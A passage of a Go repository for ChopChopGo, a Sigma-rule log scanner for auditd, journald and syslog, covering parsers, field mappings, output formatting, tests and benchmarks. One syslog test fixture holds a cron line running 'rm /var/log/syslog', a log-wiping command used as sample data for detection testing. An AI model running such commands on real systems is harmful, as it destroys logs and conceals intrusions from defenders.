fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=1 a0=\"sh\"\n", i)
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != total {
t.Fatalf("expected %d events, got %d", total, len(events))
}
for i, e := range events {
// Each merged event must carry fields from both records.
wantPID := fmt.Sprintf("%d", i+100)
if e.Data["pid"] != wantPID {
t.Errorf("event %d: pid=%q, want %q", i, e.Data["pid"], wantPID)
}
if e.Data["argc"] != "1" {
t.Errorf("event %d: argc=%q (EXECVE field missing after window flush)", i, e.Data["argc"])
}
}
}
// BenchmarkTokenizeParseLine measures the tokenizer-based parsing kernel.
func BenchmarkTokenizeParseLine(b *testing.B) {
line := representativeLine
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = parseLine(line)
}
}
// BenchmarkParseEvents measures end-to-end throughput on a 10 000-line log
// where all lines share the same sequence number (one giant correlated group).
func BenchmarkParseEvents(b *testing.B) {
tmp := b.TempDir()
f := filepath.Join(tmp, "bench.log")
var sb strings.Builder
for i := 0; i < 10_000; i++ {
sb.WriteString(representativeLine)
sb.WriteByte('\n')
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
b.Fatal(err)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
if _, err := ParseEvents(f); err != nil {
b.Fatal(err)
}
}
}
// parseEventsOld is the pre-window full-buffering implementation kept only for
// benchmark comparison. It accumulates every group and seq in memory before
// returning — O(total records) peak allocation.
func parseEventsOld(logFile string) ([]AuditEvent, error) {
file, err := os.Open(logFile)
if err != nil {
return nil, err
}
defer file.Close()
var seqOrder []string
groups := make(map[string]map[string]string)
standalone := 0
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if !strings.HasPrefix(line, "type=") {
continue
}
data := parseLine(line)
if len(data) == 0 {
continue
}
seq := data["seq"]
if seq == "" {
seq = fmt.Sprintf("__solo_%d", standalone)
standalone++
}
if _, exists := groups[seq]; !exists {
seqOrder = append(seqOrder, seq)
groups[seq] = make(map[string]string, len(data))
}
g := groups[seq]
for k, v := range data {
if _, exists := g[k]; !exists {
g[k] = v
}
}
}
if err := scanner.Err(); err != nil {
return nil, err
}
events := make([]AuditEvent, 0, len(seqOrder))
for _, seq := range seqOrder {
g := groups[seq]
events = append(events, AuditEvent{Type: g["type"], Data: g})
}
return events, nil
}
// BenchmarkParseEventsManySeqsOld is the baseline: old full-buffering approach.
func BenchmarkParseEventsManySeqsOld(b *testing.B) {
const numEvents = 100_000
tmp := b.TempDir()
f := filepath.Join(tmp, "manyseqs_old.log")
var sb strings.Builder
for i := 0; i < numEvents; i++ {
fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\"/bin/bash\" comm=\"bash\" key=\"exec\"\n", i, i+1000)
fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=2 a0=\"bash\" a1=\"-c\"\n", i)
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
b.Fatal(err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
if _, err := parseEventsOld(f); err != nil {
b.Fatal(err)
}
}
}
// BenchmarkParseEventsManySeqs stresses the sliding-window path: 100 000
// distinct events, each with a SYSCALL + EXECVE record pair. This is the
// workload where the old full-buffering approach accumulated O(N) groups in
// memory; the window keeps at most windowSize groups live at any time.
func BenchmarkParseEventsManySeqs(b *testing.B) {
const numEvents = 100_000
tmp := b.TempDir()
f := filepath.Join(tmp, "manyseqs.log")
var sb strings.Builder
for i := 0; i < numEvents; i++ {
fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\"/bin/bash\" comm=\"bash\" key=\"exec\"\n", i, i+1000)
fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=2 a0=\"bash\" a1=\"-c\"\n", i)
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
b.Fatal(err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
if _, err := ParseEvents(f); err != nil {
b.Fatal(err)
}
}
}
================================================
FILE: maps/journald/journald.go
================================================
//go:build linux
package journald
import (
"fmt"
"log"
"os"
"strings"
"time"
sigma "github.com/M00NLIG7/go-sigma-rule-engine"
"github.com/M00NLIG7/ChopChopGo/maps/mapping"
"github.com/M00NLIG7/ChopChopGo/maps/output"
"github.com/coreos/go-systemd/v22/sdjournal"
"github.com/schollz/progressbar/v3"
)
// JournaldEvent represents a single entry from the systemd journal.
type JournaldEvent struct {
Message string
Timestamp string
}
// Keywords satisfies the sigma.Event interface.
func (e JournaldEvent) Keywords() ([]string, bool) {
return []string{e.Message}, true
}
// Select satisfies the sigma.Event interface.
func (e JournaldEvent) Select(name string) (interface{}, bool) {
switch name {
case "message":
return e.Message, true
case "timestamp":
return e.Timestamp, true
default:
return nil, false
}
}
// MappedJournaldEvent wraps a JournaldEvent with field-name translation so that
// Sigma rules written with generic field names are resolved to journald-native
// names before Select is called.
type MappedJournaldEvent struct {
JournaldEvent
m *mapping.Mapping
}
func (e MappedJournaldEvent) Keywords() ([]string, bool) { return e.JournaldEvent.Keywords() }
func (e MappedJournaldEvent) Select(name string) (interface{}, bool) {
return e.JournaldEvent.Select(e.m.Resolve(name))
}
// ParseEvents reads all entries from the live systemd journal.
// Journald uses a binary format that requires the systemd API; reading from
// an arbitrary file path is not supported.
func ParseEvents() ([]JournaldEvent, error) {
j, err := sdjournal.NewJournal()
if err != nil {
return nil, fmt.Errorf("opening journal: %w", err)
}
defer j.Close()
if err := j.SeekHead(); err != nil {
return nil, fmt.Errorf("seeking journal head: %w", err)
}
var events []JournaldEvent
for {
n, err := j.Next()
if err != nil {
return nil, fmt.Errorf("reading journal entry: %w", err)
}
if n == 0 {
break
}
message, _ := j.GetData("MESSAGE")
// Strip the "MESSAGE=" prefix that sdjournal includes in the value.
message = strings.TrimPrefix(message, "MESSAGE=")
usec, err := j.GetRealtimeUsec()
if err != nil {
return nil, fmt.Errorf("reading entry timestamp: %w", err)
}
ts := time.Unix(0, int64(usec)*int64(time.Microsecond)).UTC().Format(time.RFC3339)
events = append(events, JournaldEvent{
Message: message,
Timestamp: ts,
})
}
return events, nil
}
var journaldRenderer = output.Renderer{
Headers: []string{"Timestamp", "Message", "Tags", "Author"},
Row: func(r output.ScanResult) []string {
return []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author}
},
}
// Chop scans the live systemd journal against Sigma rules and writes results
// to stdout. Passing a file path is not supported because the journal uses a
// binary format that requires the systemd API.
// mappingPath overrides the default mappings/journald.yml when non-empty.
func Chop(rulePath, outputType, mappingPath string) error {
events, err := ParseEvents()
if err != nil {
return fmt.Errorf("reading journal: %w", err)
}
ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})
if err != nil {
return fmt.Errorf("loading ruleset: %w", err)
}
showProgress := outputType != "json" && outputType != "csv"
var bar *progressbar.ProgressBar
if showProgress {
bar = progressbar.Default(int64(len(events)))
}
if mappingPath == "" {
mappingPath = "mappings/journald.yml"
}
m := mapping.LoadOrIdentity(mappingPath, "journald")
var results []output.ScanResult
for _, event := range events {
mapped := MappedJournaldEvent{event, m}
if res, match := ruleset.EvalAll(mapped); match {
results = append(results, output.ScanResult{
Timestamp: event.Timestamp,
Message: event.Message,
Tags: res[0].Tags,
Author: res[0].Author,
RuleID: res[0].ID,
Title: res[0].Title,
})
}
if showProgress {
bar.Add(1)
}
}
if err := output.Write(os.Stdout, outputType, results, journaldRenderer); err != nil {
return fmt.Errorf("writing output: %w", err)
}
if showProgress {
fmt.Printf("Processed %d journald events\n", len(events))
}
return nil
}
// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.
func ChopToLog(rulePath, outputType, mappingPath string) {
if err := Chop(rulePath, outputType, mappingPath); err != nil {
log.Fatalf("journald: %v", err)
}
}
================================================
FILE: maps/journald/journald_test.go
================================================
//go:build linux
package journald
import (
"strings"
"testing"
)
func TestJournaldEventSelectMessage(t *testing.T) {
e := JournaldEvent{
Message: "Started Network Manager.",
Timestamp: "2023-03-01T10:00:00Z",
}
v, ok := e.Select("message")
if !ok {
t.Fatal("Select(message) should return true")
}
if v != "Started Network Manager." {
t.Errorf("unexpected message value: %v", v)
}
}
func TestJournaldEventSelectTimestamp(t *testing.T) {
e := JournaldEvent{
Message: "test",
Timestamp: "2023-03-01T10:00:00Z",
}
v, ok := e.Select("timestamp")
if !ok {
t.Fatal("Select(timestamp) should return true")
}
if v != "2023-03-01T10:00:00Z" {
t.Errorf("unexpected timestamp value: %v", v)
}
}
func TestJournaldEventSelectUnknown(t *testing.T) {
e := JournaldEvent{Message: "test", Timestamp: "2023-03-01T10:00:00Z"}
if _, ok := e.Select("nonexistent"); ok {
t.Error("Select(nonexistent) should return false")
}
}
func TestJournaldEventKeywords(t *testing.T) {
e := JournaldEvent{
Message: "kernel: EXT4-fs error on device sda1",
Timestamp: "2023-03-01T10:00:00Z",
}
keywords, ok := e.Keywords()
if !ok {
t.Error("Keywords() should return true")
}
found := false
for _, k := range keywords {
if strings.Contains(k, "EXT4-fs") {
found = true
}
}
if !found {
t.Errorf("Keywords() should contain message content; got %v", keywords)
}
}
================================================
FILE: maps/journald/stub.go
================================================
//go:build !linux
package journald
import (
"fmt"
"log"
)
// Chop is not supported on non-Linux platforms because journald is Linux-only.
func Chop(rulePath, outputType, mappingPath string) error {
return fmt.Errorf("journald is not supported on this platform")
}
// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.
func ChopToLog(rulePath, outputType, mappingPath string) {
if err := Chop(rulePath, outputType, mappingPath); err != nil {
log.Fatalf("journald: %v", err)
}
}
================================================
FILE: maps/mapping/mapping.go
================================================
// Package mapping loads YAML field-mapping files and translates Sigma rule
// field names into log-source-native field names.
//
// This decouples Sigma rule field references from the actual field names in
// each log format, allowing community rules written for different schemas to
// work without modifying the rules or recompiling the binary.
package mapping
import (
"fmt"
"os"
"gopkg.in/yaml.v2"
)
// Mapping holds the translation table for one log source.
type Mapping struct {
Source string `yaml:"source"`
Fields map[string]string `yaml:"fields"`
}
// Load reads and parses a mapping YAML file.
func Load(path string) (*Mapping, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("reading mapping file %q: %w", path, err)
}
var m Mapping
if err := yaml.Unmarshal(data, &m); err != nil {
return nil, fmt.Errorf("parsing mapping file %q: %w", path, err)
}
if m.Fields == nil {
m.Fields = make(map[string]string)
}
return &m, nil
}
// Identity returns a pass-through mapping that leaves all field names unchanged.
func Identity(source string) *Mapping {
return &Mapping{Source: source, Fields: make(map[string]string)}
}
// Resolve translates a Sigma field name to the log-native field name.
// If no translation exists the original name is returned unchanged, so
// rules that already use native field names continue to work.
func (m *Mapping) Resolve(sigmaField string) string {
if native, ok := m.Fields[sigmaField]; ok {
return native
}
return sigmaField
}
// LoadOrIdentity attempts to load the mapping file at path. If the file does
// not exist it silently returns an identity mapping so callers do not need to
// handle the missing-file case explicitly.
func LoadOrIdentity(path, source string) *Mapping {
m, err := Load(path)
if err != nil {
return Identity(source)
}
return m
}
================================================
FILE: maps/mapping/mapping_test.go
================================================
package mapping
import (
"os"
"path/filepath"
"testing"
)
func writeTempMapping(t *testing.T, content string) string {
t.Helper()
f := filepath.Join(t.TempDir(), "test.yml")
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
return f
}
func TestLoadValid(t *testing.T) {
path := writeTempMapping(t, `
source: auditd
fields:
CommandLine: exe
ProcessId: pid
User: auid
`)
m, err := Load(path)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if m.Source != "auditd" {
t.Errorf("source: got %q, want auditd", m.Source)
}
if len(m.Fields) != 3 {
t.Errorf("fields count: got %d, want 3", len(m.Fields))
}
}
func TestLoadMissingFile(t *testing.T) {
_, err := Load("/nonexistent/mapping.yml")
if err == nil {
t.Error("expected error for missing file")
}
}
func TestLoadInvalidYAML(t *testing.T) {
// An unclosed flow mapping is a YAML parse error in yaml.v2.
path := writeTempMapping(t, "fields: {unclosed")
_, err := Load(path)
if err == nil {
t.Error("expected error for invalid YAML")
}
}
func TestLoadEmptyFields(t *testing.T) {
path := writeTempMapping(t, "source: syslog\n")
m, err := Load(path)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// Fields should be initialised to an empty map, not nil
if m.Fields == nil {
t.Error("Fields should not be nil after loading empty mapping")
}
}
func TestResolveKnownField(t *testing.T) {
m := &Mapping{Fields: map[string]string{"CommandLine": "exe", "ProcessId": "pid"}}
if got := m.Resolve("CommandLine"); got != "exe" {
t.Errorf("Resolve(CommandLine): got %q, want exe", got)
}
if got := m.Resolve("ProcessId"); got != "pid" {
t.Errorf("Resolve(ProcessId): got %q, want pid", got)
}
}
func TestResolveUnknownFieldPassthrough(t *testing.T) {
m := &Mapping{Fields: map[string]string{"CommandLine": "exe"}}
// Unknown sigma field names fall through to the original name
if got := m.Resolve("auid"); got != "auid" {
t.Errorf("Resolve(auid): got %q, want auid (passthrough)", got)
}
if got := m.Resolve("type"); got != "type" {
t.Errorf("Resolve(type): got %q, want type (passthrough)", got)
}
}
func TestIdentity(t *testing.T) {
m := Identity("syslog")
if m.Source != "syslog" {
t.Errorf("source: got %q, want syslog", m.Source)
}
// Identity mapping is a passthrough for all fields
if got := m.Resolve("anything"); got != "anything" {
t.Errorf("identity Resolve(anything): got %q, want anything", got)
}
}
func TestLoadOrIdentityMissingFile(t *testing.T) {
m := LoadOrIdentity("/nonexistent/mapping.yml", "auditd")
if m.Source != "auditd" {
t.Errorf("source: got %q, want auditd", m.Source)
}
// Should behave as identity
if got := m.Resolve("exe"); got != "exe" {
t.Errorf("LoadOrIdentity passthrough failed: got %q", got)
}
}
func TestLoadOrIdentityValidFile(t *testing.T) {
path := writeTempMapping(t, "source: auditd\nfields:\n CommandLine: exe\n")
m := LoadOrIdentity(path, "auditd")
if got := m.Resolve("CommandLine"); got != "exe" {
t.Errorf("Resolve after LoadOrIdentity: got %q, want exe", got)
}
}
func TestRealMappingFiles(t *testing.T) {
cases := []struct {
file string
source string
}{
{"../../mappings/auditd.yml", "auditd"},
{"../../mappings/syslog.yml", "syslog"},
{"../../mappings/journald.yml", "journald"},
}
for _, c := range cases {
m, err := Load(c.file)
if err != nil {
t.Errorf("Load(%s): %v", c.file, err)
continue
}
if m.Source != c.source {
t.Errorf("%s source: got %q, want %q", c.file, m.Source, c.source)
}
}
}
================================================
FILE: maps/output/output.go
================================================
package output
import (
"encoding/csv"
"encoding/json"
"fmt"
"io"
"strings"
"github.com/olekukonko/tablewriter"
)
// ScanResult is the common result produced by all log mappers after evaluating Sigma rules.
type ScanResult struct {
Timestamp string `json:"Timestamp"`
Message string `json:"Message,omitempty"`
User string `json:"User,omitempty"`
Exe string `json:"Exe,omitempty"`
Terminal string `json:"Terminal,omitempty"`
PID string `json:"PID,omitempty"`
Tags []string `json:"Tags"`
Author string `json:"Author"`
RuleID string `json:"ID"`
Title string `json:"Title"`
}
// Renderer defines the table/CSV columns for a specific log type.
// JSON output always serialises the full ScanResult struct.
type Renderer struct {
Headers []string
Row func(ScanResult) []string
}
// Write renders results in the requested format to w.
// outputType must be "json", "csv", or any other value for a table.
func Write(w io.Writer, outputType string, results []ScanResult, r Renderer) error {
switch outputType {
case "json":
return writeJSON(w, results)
case "csv":
return writeCSV(w, results, r)
default:
writeTable(w, results, r)
return nil
}
}
func writeJSON(w io.Writer, results []ScanResult) error {
enc := json.NewEncoder(w)
enc.SetIndent("", " ")
if err := enc.Encode(results); err != nil {
return fmt.Errorf("encoding JSON: %w", err)
}
return nil
}
func writeCSV(w io.Writer, results []ScanResult, r Renderer) error {
cw := csv.NewWriter(w)
if err := cw.Write(r.Headers); err != nil {
return fmt.Errorf("writing CSV header: %w", err)
}
for _, res := range results {
if err := cw.Write(r.Row(res)); err != nil {
return fmt.Errorf("writing CSV row: %w", err)
}
}
cw.Flush()
return cw.Error()
}
func writeTable(w io.Writer, results []ScanResult, r Renderer) {
table := tablewriter.NewWriter(w)
table.SetHeader(r.Headers)
for _, res := range results {
table.Append(r.Row(res))
}
table.Render()
}
// TagString joins tags with a dash, matching the original output format.
func TagString(tags []string) string {
return strings.Join(tags, "-")
}
================================================
FILE: maps/output/output_test.go
================================================
package output
import (
"bytes"
"encoding/json"
"strings"
"testing"
)
var testRenderer = Renderer{
Headers: []string{"Timestamp", "Message", "Tags", "Author", "ID", "Title"},
Row: func(r ScanResult) []string {
return []string{r.Timestamp, r.Message, TagString(r.Tags), r.Author, r.RuleID, r.Title}
},
}
var sampleResults = []ScanResult{
{
Timestamp: "2023-01-01T00:00:00Z",
Message: "test message",
User: "1000",
Tags: []string{"attack.execution", "attack.t1059"},
Author: "Test Author",
RuleID: "abc-123",
Title: "Test Rule",
},
}
func TestWriteJSON(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "json", sampleResults, testRenderer); err != nil {
t.Fatalf("unexpected error: %v", err)
}
var out []ScanResult
if err := json.Unmarshal(buf.Bytes(), &out); err != nil {
t.Fatalf("invalid JSON output: %v", err)
}
if len(out) != 1 {
t.Fatalf("expected 1 result, got %d", len(out))
}
if out[0].Title != "Test Rule" {
t.Errorf("expected Title=Test Rule, got %q", out[0].Title)
}
if out[0].RuleID != "abc-123" {
t.Errorf("expected RuleID=abc-123, got %q", out[0].RuleID)
}
if len(out[0].Tags) != 2 {
t.Errorf("expected 2 tags, got %d", len(out[0].Tags))
}
}
func TestWriteJSONEmpty(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "json", []ScanResult{}, testRenderer); err != nil {
t.Fatalf("unexpected error: %v", err)
}
trimmed := strings.TrimSpace(buf.String())
if trimmed != "[]" {
t.Errorf("expected [] for empty results, got %q", trimmed)
}
}
func TestWriteCSV(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "csv", sampleResults, testRenderer); err != nil {
t.Fatalf("unexpected error: %v", err)
}
lines := strings.Split(strings.TrimSpace(buf.String()), "\n")
if len(lines) != 2 {
t.Fatalf("expected header + 1 data row, got %d lines", len(lines))
}
if !strings.Contains(lines[0], "Timestamp") {
t.Errorf("CSV header missing Timestamp: %q", lines[0])
}
if !strings.Contains(lines[1], "Test Rule") {
t.Errorf("CSV row missing title: %q", lines[1])
}
// Tags should be joined with dash
if !strings.Contains(lines[1], "attack.execution-attack.t1059") {
t.Errorf("CSV tags not joined with dash: %q", lines[1])
}
}
func TestWriteCSVEmpty(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "csv", []ScanResult{}, testRenderer); err != nil {
t.Fatalf("unexpected error: %v", err)
}
// Should at minimum write the header
if !strings.Contains(buf.String(), "Timestamp") {
t.Errorf("empty CSV should still contain header, got: %q", buf.String())
}
}
func TestWriteTable(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "table", sampleResults, testRenderer); err != nil {
t.Fatalf("unexpected error: %v", err)
}
out := buf.String()
if !strings.Contains(out, "TIMESTAMP") {
t.Errorf("table missing TIMESTAMP header, got: %q", out)
}
if !strings.Contains(out, "Test Rule") {
t.Errorf("table missing rule title, got: %q", out)
}
}
func TestWriteUnknownTypeDefaultsToTable(t *testing.T) {
var buf bytes.Buffer
if err := Write(&buf, "unknown", sampleResults, testRenderer); err != nil {
t.Fatalf("unexpected error for unknown output type: %v", err)
}
if buf.Len() == 0 {
t.Error("expected non-empty output for unknown type (should render table)")
}
}
func TestTagString(t *testing.T) {
if TagString([]string{"a", "b", "c"}) != "a-b-c" {
t.Error("TagString should join with dash")
}
if TagString([]string{}) != "" {
t.Error("TagString of empty slice should return empty string")
}
if TagString([]string{"only"}) != "only" {
t.Error("TagString of single element should return that element")
}
}
================================================
FILE: maps/syslog/syslog.go
================================================
package syslog
import (
"bufio"
"fmt"
"log"
"os"
"strings"
sigma "github.com/M00NLIG7/go-sigma-rule-engine"
"github.com/M00NLIG7/ChopChopGo/maps/mapping"
"github.com/M00NLIG7/ChopChopGo/maps/output"
"github.com/schollz/progressbar/v3"
)
func isAlpha(b byte) bool { return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') }
func isDigit(b byte) bool { return b >= '0' && b <= '9' }
// parseSyslogTimestamp extracts the leading timestamp from a syslog line without
// regex, eliminating the []string submatch allocation on every line.
// It recognises two formats:
//
// - BSD syslog: "Mon DD HH:MM:SS" (exactly 15 bytes, space-padded day)
// - rsyslog/ISO8601: "YYYY-…" terminated by the first space
//
// Returns the timestamp substring and its byte length. Returns ("", 0) when
// the line does not match either format.
func parseSyslogTimestamp(line string) (ts string, n int) {
// BSD syslog: "Mon DD HH:MM:SS" — 15 bytes, fixed structure.
if len(line) >= 15 &&
isAlpha(line[0]) && isAlpha(line[1]) && isAlpha(line[2]) && // Mon
line[3] == ' ' &&
(line[4] == ' ' || isDigit(line[4])) && isDigit(line[5]) && // DD (space-padded)
line[6] == ' ' &&
isDigit(line[7]) && isDigit(line[8]) && line[9] == ':' && // HH:
isDigit(line[10]) && isDigit(line[11]) && line[12] == ':' && // MM:
isDigit(line[13]) && isDigit(line[14]) { // SS
return line[:15], 15
}
// rsyslog/ISO8601: starts with four digits and a '-' (YYYY-).
// The timestamp ends at the first space.
if len(line) >= 5 &&
isDigit(line[0]) && isDigit(line[1]) && isDigit(line[2]) && isDigit(line[3]) &&
line[4] == '-' {
if idx := strings.IndexByte(line, ' '); idx > 0 {
return line[:idx], idx
}
}
return "", 0
}
// SyslogEvent represents a parsed syslog entry.
type SyslogEvent struct {
Facility string // hostname (closest available field without )
Severity string // not available in on-disk syslog format; kept for interface compat
Message string // process[pid]: message text
Timestamp string
}
// Keywords satisfies the sigma.Event interface.
func (e SyslogEvent) Keywords() ([]string, bool) {
return []string{e.Facility, e.Severity, e.Message}, true
}
// Select satisfies the sigma.Event interface.
func (e SyslogEvent) Select(name string) (interface{}, bool) {
switch name {
case "facility":
return e.Facility, true
case "severity":
return e.Severity, true
case "message":
return e.Message, true
default:
return nil, false
}
}
// MappedSyslogEvent wraps a SyslogEvent with field-name translation so that
// Sigma rules written with generic field names (e.g. Message, Hostname) are
// resolved to syslog-native names before Select is called.
type MappedSyslogEvent struct {
SyslogEvent
m *mapping.Mapping
}
func (e MappedSyslogEvent) Keywords() ([]string, bool) { return e.SyslogEvent.Keywords() }
func (e MappedSyslogEvent) Select(name string) (interface{}, bool) {
return e.SyslogEvent.Select(e.m.Resolve(name))
}
// ParseEvents reads a syslog file and returns the parsed events.
// Lines that do not match a recognised timestamp format are skipped rather than
// causing an error, so mixed or partial logs are handled gracefully.
func ParseEvents(logFile string) ([]SyslogEvent, error) {
file, err := os.Open(logFile)
if err != nil {
return nil, err
}
defer file.Close()
var events []SyslogEvent
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
timestamp, n := parseSyslogTimestamp(line)
if timestamp == "" {
// Skip lines we cannot parse — don't abort the whole scan.
continue
}
// Everything after the timestamp is "hostname proc[pid]: message".
// We store the hostname in Facility and the rest in Message so that
// keyword-based Sigma rules can match against process/message content.
rest := strings.TrimSpace(line[n:])
var facility, message string
if idx := strings.IndexByte(rest, ' '); idx >= 0 {
facility = rest[:idx]
message = strings.TrimSpace(rest[idx+1:])
} else {
message = rest
}
events = append(events, SyslogEvent{
Facility: facility,
Severity: "",
Message: message,
Timestamp: timestamp,
})
}
return events, scanner.Err()
}
// FindLog returns filePath when non-empty, otherwise falls back to the
// standard syslog locations.
func FindLog(file string) (string, error) {
if file != "" {
if _, err := os.Stat(file); err != nil {
return "", fmt.Errorf("failed to find provided file %v", file)
}
return file, nil
}
for _, path := range []string{"/var/log/syslog", "/var/log/messages"} {
if _, err := os.Stat(path); err == nil {
return path, nil
}
}
return "", fmt.Errorf("no syslog file found at /var/log/syslog or /var/log/messages")
}
var syslogRenderer = output.Renderer{
Headers: []string{"Timestamp", "Message", "Tags", "Author"},
Row: func(r output.ScanResult) []string {
return []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author}
},
}
// Chop scans the syslog against Sigma rules and writes results to stdout.
// mappingPath overrides the default mappings/syslog.yml when non-empty.
func Chop(rulePath, outputType, filePath, mappingPath string) error {
syslogPath, err := FindLog(filePath)
if err != nil {
return fmt.Errorf("finding syslog: %w", err)
}
events, err := ParseEvents(syslogPath)
if err != nil {
return fmt.Errorf("parsing syslog: %w", err)
}
ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})
if err != nil {
return fmt.Errorf("loading ruleset: %w", err)
}
showProgress := outputType != "json" && outputType != "csv"
var bar *progressbar.ProgressBar
if showProgress {
bar = progressbar.Default(int64(len(events)))
}
if mappingPath == "" {
mappingPath = "mappings/syslog.yml"
}
m := mapping.LoadOrIdentity(mappingPath, "syslog")
var results []output.ScanResult
for _, event := range events {
mapped := MappedSyslogEvent{event, m}
if res, match := ruleset.EvalAll(mapped); match {
results = append(results, output.ScanResult{
Timestamp: event.Timestamp,
Message: event.Message,
Tags: res[0].Tags,
Author: res[0].Author,
RuleID: res[0].ID,
Title: res[0].Title,
})
}
if showProgress {
bar.Add(1)
}
}
if err := output.Write(os.Stdout, outputType, results, syslogRenderer); err != nil {
return fmt.Errorf("writing output: %w", err)
}
if showProgress {
fmt.Printf("Processed %d syslog events\n", len(events))
}
return nil
}
// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.
func ChopToLog(rulePath, outputType, filePath, mappingPath string) {
if err := Chop(rulePath, outputType, filePath, mappingPath); err != nil {
log.Fatalf("syslog: %v", err)
}
}
================================================
FILE: maps/syslog/syslog_test.go
================================================
package syslog
import (
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
"testing"
)
const testdataDir = "../../testdata"
func TestParseEventsStandardFormat(t *testing.T) {
events, err := ParseEvents(filepath.Join(testdataDir, "syslog.log"))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 4 {
t.Errorf("expected 4 events, got %d", len(events))
}
if events[0].Timestamp == "" {
t.Error("expected non-empty timestamp")
}
if events[0].Message == "" {
t.Error("expected non-empty message")
}
}
func TestParseEventsRsyslogFormat(t *testing.T) {
events, err := ParseEvents(filepath.Join(testdataDir, "rsyslog.log"))
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 3 {
t.Errorf("expected 3 events, got %d", len(events))
}
// ISO 8601 timestamp should be preserved
if !strings.HasPrefix(events[0].Timestamp, "2023-03-01T") {
t.Errorf("unexpected rsyslog timestamp: %q", events[0].Timestamp)
}
}
func TestParseEventsSkipsMalformedLines(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "mixed.log")
content := "this line has no timestamp and should be skipped\n" +
"another bad line\n" +
"Mar 1 10:00:01 hostname sshd[1]: message here and more content\n"
if err := os.WriteFile(f, []byte(content), 0600); err != nil {
t.Fatal(err)
}
// Must not return an error; bad lines are skipped
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error parsing file with malformed lines: %v", err)
}
if len(events) != 1 {
t.Errorf("expected 1 valid event, got %d", len(events))
}
}
func TestParseEventsEmptyFile(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "empty.log")
if err := os.WriteFile(f, []byte(""), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 0 {
t.Errorf("expected 0 events, got %d", len(events))
}
}
func TestParseEventsMessageContent(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "syslog")
line := "Mar 4 09:00:00 host cron[5678]: (root) CMD (rm /var/log/syslog)\n"
if err := os.WriteFile(f, []byte(line), 0600); err != nil {
t.Fatal(err)
}
events, err := ParseEvents(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(events) != 1 {
t.Fatalf("expected 1 event, got %d", len(events))
}
if !strings.Contains(events[0].Message, "cron") {
t.Errorf("message should contain process info, got: %q", events[0].Message)
}
}
func TestSyslogEventSelect(t *testing.T) {
e := SyslogEvent{
Facility: "host1",
Severity: "",
Message: "sshd[1]: test message",
Timestamp: "Mar 1 10:00:01",
}
if v, ok := e.Select("message"); !ok || v != "sshd[1]: test message" {
t.Errorf("Select(message): got %v, ok=%v", v, ok)
}
if v, ok := e.Select("facility"); !ok || v != "host1" {
t.Errorf("Select(facility): got %v, ok=%v", v, ok)
}
if v, ok := e.Select("severity"); !ok || v != "" {
t.Errorf("Select(severity): got %v, ok=%v", v, ok)
}
if _, ok := e.Select("unknown"); ok {
t.Error("Select(unknown) should return false")
}
}
func TestSyslogEventKeywords(t *testing.T) {
e := SyslogEvent{
Facility: "myhost",
Severity: "",
Message: "disk full warning",
}
keywords, ok := e.Keywords()
if !ok {
t.Error("Keywords() should return true")
}
found := false
for _, k := range keywords {
if strings.Contains(k, "disk full") {
found = true
}
}
if !found {
t.Errorf("Keywords() should include message content; got %v", keywords)
}
}
func TestFindLogWithExistingFile(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "syslog")
if err := os.WriteFile(f, []byte(""), 0600); err != nil {
t.Fatal(err)
}
result, err := FindLog(f)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result != f {
t.Errorf("expected %q, got %q", f, result)
}
}
func TestFindLogMissingFile(t *testing.T) {
_, err := FindLog("/nonexistent/path/syslog")
if err == nil {
t.Error("expected error for missing file")
}
}
// TestParseSyslogTimestampEquivalence verifies that parseSyslogTimestamp returns
